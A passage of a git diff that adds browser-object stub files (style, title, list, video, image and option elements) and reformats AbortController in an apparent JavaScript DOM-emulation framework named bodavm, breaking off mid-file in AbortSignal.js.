copy/htmlElements/HTMLStyleElement.js new file mode 100644 index 00000000..decbfd4b --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLStyleElement.js @@ -0,0 +1,9 @@ +// HTMLStyleElement对象 +bodavm.memory.globalobj['HTMLStyleElement'] = function HTMLStyleElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLStyleElement'], "HTMLStyleElement"); +bodavm.memory.globalobj['HTMLStyleElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLStyleElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "disabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "media_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "type_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "sheet", {configurable:true, enumerable:true, get:function sheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "sheet_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLTitleElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLTitleElement.js new file mode 100644 index 00000000..d47a31f4 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLTitleElement.js @@ -0,0 +1,6 @@ +// HTMLTitleElement对象 +bodavm.memory.globalobj['HTMLTitleElement'] = function HTMLTitleElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTitleElement'], "HTMLTitleElement"); +bodavm.memory.globalobj['HTMLTitleElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTitleElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTitleElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTitleElement'].prototype, "HTMLTitleElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTitleElement'].prototype, "HTMLTitleElement", "text_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLUListElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLUListElement.js new file mode 100644 index 00000000..7870a9fe --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLUListElement.js @@ -0,0 +1,7 @@ +// HTMLUListElement对象 +bodavm.memory.globalobj['HTMLUListElement'] = function HTMLUListElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLUListElement'], "HTMLUListElement"); +bodavm.memory.globalobj['HTMLUListElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLUListElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLUListElement', "compact", {configurable:true, enumerable:true, get:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "compact_get", arguments)}, set:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "compact_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLUListElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "type_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLUnknownElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLUnknownElement.js new file mode 100644 index 00000000..2b65fcc8 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLUnknownElement.js @@ -0,0 +1,5 @@ +// HTMLUnknownElement对象 +bodavm.memory.globalobj['HTMLUnknownElement'] = function HTMLUnknownElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLUnknownElement'], "HTMLUnknownElement"); +bodavm.memory.globalobj['HTMLUnknownElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLUnknownElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLVideoElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLVideoElement.js new file mode 100644 index 00000000..513dc3a5 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLVideoElement.js @@ -0,0 +1,26 @@ +// HTMLVideoElement对象 +bodavm.memory.globalobj['HTMLVideoElement'] = function HTMLVideoElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLVideoElement'], "HTMLVideoElement"); +bodavm.memory.globalobj['HTMLVideoElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLMediaElement'].prototype; +bodavm.memory.globalobj['HTMLVideoElement'].__proto__=bodavm.memory.globalobj['HTMLMediaElement']; +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "width_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "height_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "videoWidth", {configurable:true, enumerable:true, get:function videoWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "videoWidth_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "videoHeight", {configurable:true, enumerable:true, get:function videoHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "videoHeight_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "poster", {configurable:true, enumerable:true, get:function poster (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "poster_get", arguments)}, set:function poster (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "poster_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDecodedFrameCount", {configurable:true, enumerable:true, get:function webkitDecodedFrameCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDecodedFrameCount_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDroppedFrameCount", {configurable:true, enumerable:true, get:function webkitDroppedFrameCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDroppedFrameCount_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "playsInline", {configurable:true, enumerable:true, get:function playsInline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "playsInline_get", arguments)}, set:function playsInline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "playsInline_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitSupportsFullscreen", {configurable:true, enumerable:true, get:function webkitSupportsFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitSupportsFullscreen_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDisplayingFullscreen", {configurable:true, enumerable:true, get:function webkitDisplayingFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDisplayingFullscreen_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "onenterpictureinpicture", {configurable:true, enumerable:true, get:function onenterpictureinpicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onenterpictureinpicture_get", arguments)}, set:function onenterpictureinpicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onenterpictureinpicture_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "onleavepictureinpicture", {configurable:true, enumerable:true, get:function onleavepictureinpicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onleavepictureinpicture_get", arguments)}, set:function onleavepictureinpicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onleavepictureinpicture_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "disablePictureInPicture", {configurable:true, enumerable:true, get:function disablePictureInPicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "disablePictureInPicture_get", arguments)}, set:function disablePictureInPicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "disablePictureInPicture_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "cancelVideoFrameCallback", {configurable:true, enumerable:true, writable:true, value:function cancelVideoFrameCallback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "cancelVideoFrameCallback", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "requestVideoFrameCallback", {configurable:true, enumerable:true, writable:true, value:function requestVideoFrameCallback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "requestVideoFrameCallback", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "getVideoPlaybackQuality", {configurable:true, enumerable:true, writable:true, value:function getVideoPlaybackQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "getVideoPlaybackQuality", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "requestPictureInPicture", {configurable:true, enumerable:true, writable:true, value:function requestPictureInPicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "requestPictureInPicture", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitEnterFullScreen", {configurable:true, enumerable:true, writable:true, value:function webkitEnterFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitEnterFullScreen", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitEnterFullscreen", {configurable:true, enumerable:true, writable:true, value:function webkitEnterFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitEnterFullscreen", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitExitFullScreen", {configurable:true, enumerable:true, writable:true, value:function webkitExitFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitExitFullScreen", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitExitFullscreen", {configurable:true, enumerable:true, writable:true, value:function webkitExitFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitExitFullscreen", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/Image.js b/env_xbb_lastest_jsdom/env copy/htmlElements/Image.js new file mode 100644 index 00000000..88e4f4be --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/Image.js @@ -0,0 +1,38 @@ +// Image对象 +bodavm.memory.globalobj['Image'] = function Image(){ + if (!(this instanceof Image)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Image': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + + this._boarg=new bodaobj.window.Image(arguments[0],arguments[1]) +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Image'], "Image"); +bodavm.memory.globalobj['Image'].prototype=bodavm.memory.globalobj['HTMLImageElement'].prototype; +bodavm.memory.globalobj['Image'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.toolsFunc.defineProperty('Image', "alt", {configurable:true, enumerable:true, get:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "alt_get", arguments)}, set:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "alt_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "src_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "srcset", {configurable:true, enumerable:true, get:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "srcset_get", arguments)}, set:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "srcset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "sizes", {configurable:true, enumerable:true, get:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "sizes_get", arguments)}, set:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "sizes_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "crossOrigin_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "useMap", {configurable:true, enumerable:true, get:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "useMap_get", arguments)}, set:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "useMap_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "isMap", {configurable:true, enumerable:true, get:function isMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "isMap_get", arguments)}, set:function isMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "isMap_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "width_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "height_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "naturalWidth", {configurable:true, enumerable:true, get:function naturalWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "naturalWidth_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "naturalHeight", {configurable:true, enumerable:true, get:function naturalHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "naturalHeight_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "complete", {configurable:true, enumerable:true, get:function complete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "complete_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "currentSrc", {configurable:true, enumerable:true, get:function currentSrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "currentSrc_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "referrerPolicy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "decoding", {configurable:true, enumerable:true, get:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decoding_get", arguments)}, set:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decoding_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "name_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "lowsrc", {configurable:true, enumerable:true, get:function lowsrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "lowsrc_get", arguments)}, set:function lowsrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "lowsrc_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "align_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "hspace", {configurable:true, enumerable:true, get:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "hspace_get", arguments)}, set:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "hspace_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "vspace", {configurable:true, enumerable:true, get:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "vspace_get", arguments)}, set:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "vspace_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "longDesc", {configurable:true, enumerable:true, get:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "longDesc_get", arguments)}, set:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "longDesc_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "border", {configurable:true, enumerable:true, get:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "border_get", arguments)}, set:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "border_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "x_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "y_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decode", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "fetchPriority", {configurable:true, enumerable:true, get:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "fetchPriority_get", arguments)}, set:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "fetchPriority_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Image', "loading", {configurable:true, enumerable:true, get:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "loading_get", arguments)}, set:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "loading_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/Option.js b/env_xbb_lastest_jsdom/env copy/htmlElements/Option.js new file mode 100644 index 00000000..05658217 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/Option.js @@ -0,0 +1,12 @@ +// Option对象 +bodavm.memory.globalobj['Option'] = function Option(){} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Option'], "Option"); +bodavm.memory.globalobj['Option'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.toolsFunc.defineProperty('Option', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "disabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "form_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "label_get", arguments)}, set:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "label_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "defaultSelected", {configurable:true, enumerable:true, get:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "defaultSelected_get", arguments)}, set:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "defaultSelected_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "selected", {configurable:true, enumerable:true, get:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "selected_get", arguments)}, set:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "selected_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "value_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "text_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "index_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env/AbortController.js b/env_xbb_lastest_jsdom/env/AbortController.js index a4f353b7..8ad69aaa 100644 --- a/env_xbb_lastest_jsdom/env/AbortController.js +++ b/env_xbb_lastest_jsdom/env/AbortController.js @@ -1,5 +1,30 @@ -// AbortController对象 -bodavm.memory.globalobj['AbortController'] = function AbortController(){this._boarg= new bodaobj.window.AbortController();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbortController'], "AbortController"); -bodavm.toolsFunc.defineProperty('AbortController', "signal", {configurable:true, enumerable:true, get:function signal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortController'].prototype, "AbortController", "signal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbortController', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortController'].prototype, "AbortController", "abort", arguments)}},'prototype'); +// AbortController对象 + +bodavm.memory.globalobj['AbortController'] = function AbortController() { + console.log_copy('AbortController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.AbortController(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbortController'], "AbortController"); +bodavm.toolsFunc.defineProperty('AbortController', "signal", { + configurable: true, + enumerable: true, + get: function signal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortController'].prototype, "AbortController", "signal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbortController', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortController'].prototype, "AbortController", "abort", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AbortSignal.js b/env_xbb_lastest_jsdom/env/AbortSignal.js index cf951d9f..9f960956 100644 --- a/env_xbb_lastest_jsdom/env/AbortSignal.js +++ b/env_xbb_lastest_jsdom/env/AbortSignal.js @@ -1,11 +1,69 @@ -// AbortSignal对象 -bodavm.memory.globalobj['AbortSignal'] = function AbortSignal(){if (!(this instanceof AbortSignal)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbortSignal'], "AbortSignal"); -bodavm.memory.globalobj['AbortSignal'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['AbortSignal'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('AbortSignal', 